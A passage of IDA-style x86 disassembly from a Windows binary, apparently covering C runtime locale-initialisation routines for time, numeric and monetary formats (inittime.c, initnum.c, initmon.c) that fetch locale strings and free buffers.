ecx, edx mov eax, [ebp+arg_0] mov [eax+4], ecx mov ecx, [ebp+var_10] shl ecx, 0Bh mov edx, [ebp+arg_0] mov [edx], ecx loc_4296F9: ; CODE XREF: sub_429600+142j mov eax, [ebp+arg_0] mov ecx, [eax+4] and ecx, 80000000h test ecx, ecx jnz short loc_429744 mov edx, [ebp+arg_0] mov eax, [edx+4] shl eax, 1 mov ecx, [ebp+arg_0] mov edx, [ecx] and edx, 80000000h neg edx sbb edx, edx neg edx or eax, edx mov ecx, [ebp+arg_0] mov [ecx+4], eax mov edx, [ebp+arg_0] mov eax, [edx] shl eax, 1 mov ecx, [ebp+arg_0] mov [ecx], eax mov dx, word ptr [ebp+var_4] sub dx, 1 mov word ptr [ebp+var_4], dx jmp short loc_4296F9 ; --------------------------------------------------------------------------- loc_429744: ; CODE XREF: sub_429600+107j mov eax, [ebp+var_18] and eax, 0FFFFh mov ecx, [ebp+var_4] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+8], ax loc_42975E: ; CODE XREF: sub_429600+9Fj mov esp, ebp pop ebp retn sub_429600 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push 2 call sub_41BAE0 add esp, 4 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429780 proc near ; DATA XREF: .data:004434D4o var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_49217C, 0 jz loc_429821 push 48h push offset aInittime_c ; "inittime.c" push 2 push 0ACh push 1 call sub_416E40 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_4297BC mov eax, 1 jmp loc_429857 ; --------------------------------------------------------------------------- loc_4297BC: ; CODE XREF: sub_429780+30j mov eax, [ebp+var_4] push eax call sub_429860 add esp, 4 test eax, eax jz short loc_4297ED mov ecx, [ebp+var_4] push ecx call sub_429DF0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_4174C0 add esp, 8 mov eax, 1 jmp short loc_429857 ; --------------------------------------------------------------------------- loc_4297ED: ; CODE XREF: sub_429780+4Aj mov eax, [ebp+var_4] mov off_443FE4, eax mov ecx, dword_4922C8 push ecx call sub_429DF0 add esp, 4 push 2 mov edx, dword_4922C8 push edx call sub_4174C0 add esp, 8 mov eax, [ebp+var_4] mov dword_4922C8, eax xor eax, eax jmp short loc_429857 ; --------------------------------------------------------------------------- loc_429821: ; CODE XREF: sub_429780+Bj mov off_443FE4, offset off_443FE8 mov ecx, dword_4922C8 push ecx call sub_429DF0 add esp, 4 push 2 mov edx, dword_4922C8 push edx call sub_4174C0 add esp, 8 mov dword_4922C8, 0 xor eax, eax loc_429857: ; CODE XREF: sub_429780+37j ; sub_429780+6Bj ... mov esp, ebp pop ebp retn sub_429780 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429860 proc near ; CODE XREF: sub_429780+40p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0Ch mov [ebp+var_C], 0 xor eax, eax mov ax, word_492302 mov [ebp+var_4], eax xor ecx, ecx mov cx, word_492304 mov [ebp+var_8], ecx cmp [ebp+arg_0], 0 jnz short loc_429892 or eax, 0FFFFFFFFh jmp loc_429DEB ; --------------------------------------------------------------------------- loc_429892: ; CODE XREF: sub_429860+28j mov edx, [ebp+arg_0] add edx, 4 push edx push 31h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8 push edx push 32h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0Ch push edx push 33h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 34h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 35h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 36h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] push edx push 37h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 20h push edx push 2Ah mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 2Bh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 2Ch mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 2Dh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 30h push edx push 2Eh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 34h push edx push 2Fh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 30h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 38h push edx push 44h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 3Ch push edx push 45h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 40h push edx push 46h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 44h push edx push 47h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 48h push edx push 48h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 4Ch push edx push 49h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 50h push edx push 4Ah mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 54h push edx push 4Bh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 58h push edx push 4Ch mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 5Ch push edx push 4Dh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 60h push edx push 4Eh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 64h push edx push 4Fh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 68h push edx push 38h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 6Ch push edx push 39h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 70h push edx push 3Ah mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 74h push edx push 3Bh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 78h push edx push 3Ch mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 7Ch push edx push 3Dh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 80h push edx push 3Eh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 84h push edx push 3Fh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 88h push edx push 40h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 8Ch push edx push 41h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 90h push edx push 42h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 94h push edx push 43h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 98h push edx push 28h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 9Ch push edx push 29h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A0h push edx push 1Fh mov eax, [ebp+var_8] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A4h push edx push 20h mov eax, [ebp+var_8] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov edx, [ebp+arg_0] add edx, 0A8h push edx push 1003h mov eax, [ebp+var_8] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_C] or ecx, eax mov [ebp+var_C], ecx mov eax, [ebp+var_C] loc_429DEB: ; CODE XREF: sub_429860+2Dj mov esp, ebp pop ebp retn sub_429860 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_429DF0 proc near ; CODE XREF: sub_429780+50p ; sub_429780+7Cp ... arg_0 = dword ptr 8 push ebp mov ebp, esp cmp [ebp+arg_0], 0 jnz short loc_429DFE jmp loc_42A0F9 ; --------------------------------------------------------------------------- loc_429DFE: ; CODE XREF: sub_429DF0+7j push 2 mov eax, [ebp+arg_0] mov ecx, [eax+4] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+8] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0Ch] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+10h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+14h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+18h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+20h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+24h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+28h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+2Ch] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+30h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+34h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+38h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+3Ch] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+40h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+44h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+48h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+4Ch] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+50h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+54h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+58h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+5Ch] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+60h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+64h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+68h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+6Ch] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+70h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+74h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+78h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+7Ch] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+80h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+84h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+88h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+8Ch] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+90h] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+94h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+98h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+9Ch] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, [ebp+arg_0] mov eax, [edx+0A0h] push eax call sub_4174C0 add esp, 8 push 2 mov ecx, [ebp+arg_0] mov edx, [ecx+0A4h] push edx call sub_4174C0 add esp, 8 push 2 mov eax, [ebp+arg_0] mov ecx, [eax+0A8h] push ecx call sub_4174C0 add esp, 8 loc_42A0F9: ; CODE XREF: sub_429DF0+9j pop ebp retn sub_429DF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A100 proc near ; DATA XREF: .data:004434C8o var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4922FE mov [ebp+var_4], eax cmp dword_492178, 0 jz loc_42A27A push offset dword_4922CC push 0Eh mov ecx, [ebp+var_4] push ecx push 1 call sub_42F050 add esp, 10h mov edx, [ebp+var_8] or edx, eax mov [ebp+var_8], edx push offset dword_4922D0 push 0Fh mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx push offset dword_4922D4 push 10h mov edx, [ebp+var_4] push edx push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, dword_4922D4 push edx call sub_42A3B0 add esp, 4 cmp [ebp+var_8], 0 jz short loc_42A1E9 push 2 mov eax, dword_4922CC push eax call sub_4174C0 add esp, 8 push 2 mov ecx, dword_4922D0 push ecx call sub_4174C0 add esp, 8 push 2 mov edx, dword_4922D4 push edx call sub_4174C0 add esp, 8 mov dword_4922CC, 0 mov dword_4922D0, 0 mov dword_4922D4, 0 or eax, 0FFFFFFFFh jmp loc_42A3A2 ; --------------------------------------------------------------------------- loc_42A1E9: ; CODE XREF: sub_42A100+8Fj mov eax, off_4440D0 cmp dword ptr [eax], offset dword_444098 jz short loc_42A230 push 2 mov ecx, off_4440D0 mov edx, [ecx] push edx call sub_4174C0 add esp, 8 push 2 mov eax, off_4440D0 mov ecx, [eax+4] push ecx call sub_4174C0 add esp, 8 push 2 mov edx, off_4440D0 mov eax, [edx+8] push eax call sub_4174C0 add esp, 8 loc_42A230: ; CODE XREF: sub_42A100+F4j mov ecx, off_4440D0 mov edx, dword_4922CC mov [ecx], edx mov eax, off_4440D0 mov ecx, dword_4922D0 mov [eax+4], ecx mov edx, off_4440D0 mov eax, dword_4922D4 mov [edx+8], eax mov ecx, off_4440D0 mov edx, [ecx] mov al, [edx] mov byte_442F5C, al mov dword_442F60, 1 xor eax, eax jmp loc_42A3A2 ; --------------------------------------------------------------------------- loc_42A27A: ; CODE XREF: sub_42A100+1Fj push 2 mov ecx, dword_4922CC push ecx call sub_4174C0 add esp, 8 push 2 mov edx, dword_4922D0 push edx call sub_4174C0 add esp, 8 push 2 mov eax, dword_4922D4 push eax call sub_4174C0 add esp, 8 mov dword_4922CC, 0 mov dword_4922D0, 0 mov dword_4922D4, 0 push 88h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_416A30 add esp, 10h mov ecx, off_4440D0 mov [ecx], eax mov edx, off_4440D0 cmp dword ptr [edx], 0 jnz short loc_42A2FB or eax, 0FFFFFFFFh jmp loc_42A3A2 ; --------------------------------------------------------------------------- loc_42A2FB: ; CODE XREF: sub_42A100+1F1j push offset a__3 ; "." mov eax, off_4440D0 mov ecx, [eax] push ecx call sub_419FA0 add esp, 8 push 8Dh push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_416A30 add esp, 10h mov edx, off_4440D0 mov [edx+4], eax mov eax, off_4440D0 cmp dword ptr [eax+4], 0 jnz short loc_42A33F or eax, 0FFFFFFFFh jmp short loc_42A3A2 ; --------------------------------------------------------------------------- loc_42A33F: ; CODE XREF: sub_42A100+238j mov ecx, off_4440D0 mov edx, [ecx+4] mov byte ptr [edx], 0 push 92h push offset aInitnum_c ; "initnum.c" push 2 push 2 call sub_416A30 add esp, 10h mov ecx, off_4440D0 mov [ecx+8], eax mov edx, off_4440D0 cmp dword ptr [edx+8], 0 jnz short loc_42A37B or eax, 0FFFFFFFFh jmp short loc_42A3A2 ; --------------------------------------------------------------------------- loc_42A37B: ; CODE XREF: sub_42A100+274j mov eax, off_4440D0 mov ecx, [eax+8] mov byte ptr [ecx], 0 mov edx, off_4440D0 mov eax, [edx] mov cl, [eax] mov byte_442F5C, cl mov dword_442F60, 1 xor eax, eax loc_42A3A2: ; CODE XREF: sub_42A100+E4j ; sub_42A100+175j ... mov esp, ebp pop ebp retn sub_42A100 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A3B0 proc near ; CODE XREF: sub_42A100+83p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42A3B4: ; CODE XREF: sub_42A3B0:loc_42A427j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42A429 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42A3ED mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 39h jg short loc_42A3ED mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] sub ecx, 30h mov edx, [ebp+arg_0] mov [edx], cl mov eax, [ebp+arg_0] add eax, 1 mov [ebp+arg_0], eax jmp short loc_42A427 ; --------------------------------------------------------------------------- loc_42A3ED: ; CODE XREF: sub_42A3B0+17j ; sub_42A3B0+22j mov ecx, [ebp+arg_0] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42A41E mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_42A3FE: ; CODE XREF: sub_42A3B0+6Aj mov ecx, [ebp+var_4] mov edx, [ebp+var_4] mov al, [edx+1] mov [ecx], al mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jnz short loc_42A3FE jmp short loc_42A427 ; --------------------------------------------------------------------------- loc_42A41E: ; CODE XREF: sub_42A3B0+46j mov ecx, [ebp+arg_0] add ecx, 1 mov [ebp+arg_0], ecx loc_42A427: ; CODE XREF: sub_42A3B0+3Bj ; sub_42A3B0+6Cj jmp short loc_42A3B4 ; --------------------------------------------------------------------------- loc_42A429: ; CODE XREF: sub_42A3B0+Cj mov esp, ebp pop ebp retn sub_42A3B0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A430 proc near ; DATA XREF: .data:004434BCo var_4 = dword ptr -4 push ebp mov ebp, esp push ecx cmp dword_492174, 0 jz loc_42A4FC push 4Ah push offset aInitmon_c ; "initmon.c" push 2 push 30h push 1 call sub_416E40 add esp, 14h mov [ebp+var_4], eax cmp [ebp+var_4], 0 jnz short loc_42A469 mov eax, 1 jmp loc_42A55C ; --------------------------------------------------------------------------- loc_42A469: ; CODE XREF: sub_42A430+2Dj mov eax, [ebp+var_4] push eax call sub_42A560 add esp, 4 test eax, eax jz short loc_42A49D mov ecx, [ebp+var_4] push ecx call sub_42A7F0 add esp, 4 push 2 mov edx, [ebp+var_4] push edx call sub_4174C0 add esp, 8 mov eax, 1 jmp loc_42A55C ; --------------------------------------------------------------------------- loc_42A49D: ; CODE XREF: sub_42A430+47j mov eax, [ebp+var_4] mov ecx, off_4440D0 mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_4] mov ecx, off_4440D0 mov edx, [ecx+4] mov [eax+4], edx mov eax, [ebp+var_4] mov ecx, off_4440D0 mov edx, [ecx+8] mov [eax+8], edx mov eax, [ebp+var_4] mov off_4440D0, eax mov ecx, dword_4922D8 push ecx call sub_42A7F0 add esp, 4 push 2 mov edx, dword_4922D8 push edx call sub_4174C0 add esp, 8 mov eax, [ebp+var_4] mov dword_4922D8, eax xor eax, eax jmp short loc_42A55C ; --------------------------------------------------------------------------- loc_42A4FC: ; CODE XREF: sub_42A430+Bj mov ecx, off_4440D0 mov edx, [ecx] mov off_4440A0, edx mov eax, off_4440D0 mov ecx, [eax+4] mov off_4440A4, ecx mov edx, off_4440D0 mov eax, [edx+8] mov off_4440A8, eax mov off_4440D0, offset off_4440A0 mov ecx, dword_4922D8 push ecx call sub_42A7F0 add esp, 4 push 2 mov edx, dword_4922D8 push edx call sub_4174C0 add esp, 8 mov dword_4922D8, 0 xor eax, eax loc_42A55C: ; CODE XREF: sub_42A430+34j ; sub_42A430+68j ... mov esp, ebp pop ebp retn sub_42A430 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A560 proc near ; CODE XREF: sub_42A430+3Dp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 8 mov [ebp+var_8], 0 xor eax, eax mov ax, word_4922F8 mov [ebp+var_4], eax cmp [ebp+arg_0], 0 jnz short loc_42A586 or eax, 0FFFFFFFFh jmp loc_42A769 ; --------------------------------------------------------------------------- loc_42A586: ; CODE XREF: sub_42A560+1Cj mov ecx, [ebp+arg_0] add ecx, 0Ch push ecx push 15h mov edx, [ebp+var_4] push edx push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 10h push edx push 14h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 14h push edx push 16h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 18h push edx push 17h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 1Ch push edx push 18h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] mov eax, [edx+1Ch] push eax call sub_42A770 add esp, 4 mov ecx, [ebp+arg_0] add ecx, 20h push ecx push 50h mov edx, [ebp+var_4] push edx push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 24h push edx push 51h mov eax, [ebp+var_4] push eax push 1 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 28h push edx push 1Ah mov eax, [ebp+var_4] push eax push 0 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 29h push edx push 19h mov eax, [ebp+var_4] push eax push 0 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ah push edx push 54h mov eax, [ebp+var_4] push eax push 0 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Bh push edx push 55h mov eax, [ebp+var_4] push eax push 0 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Ch push edx push 56h mov eax, [ebp+var_4] push eax push 0 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Dh push edx push 57h mov eax, [ebp+var_4] push eax push 0 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Eh push edx push 52h mov eax, [ebp+var_4] push eax push 0 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov edx, [ebp+arg_0] add edx, 2Fh push edx push 53h mov eax, [ebp+var_4] push eax push 0 call sub_42F050 add esp, 10h mov ecx, [ebp+var_8] or ecx, eax mov [ebp+var_8], ecx mov eax, [ebp+var_8] loc_42A769: ; CODE XREF: sub_42A560+21j mov esp, ebp pop ebp retn sub_42A560 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42A770 proc near ; CODE XREF: sub_42A560+C8p var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx loc_42A774: ; CODE XREF: sub_42A770:loc_42A7E7j mov eax, [ebp+arg_0] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42A7E9 mov edx, [ebp+arg_0] movsx eax, byte ptr [edx] cmp eax, 30h jl short loc_42A7AD mov ecx, [ebp+arg_0] 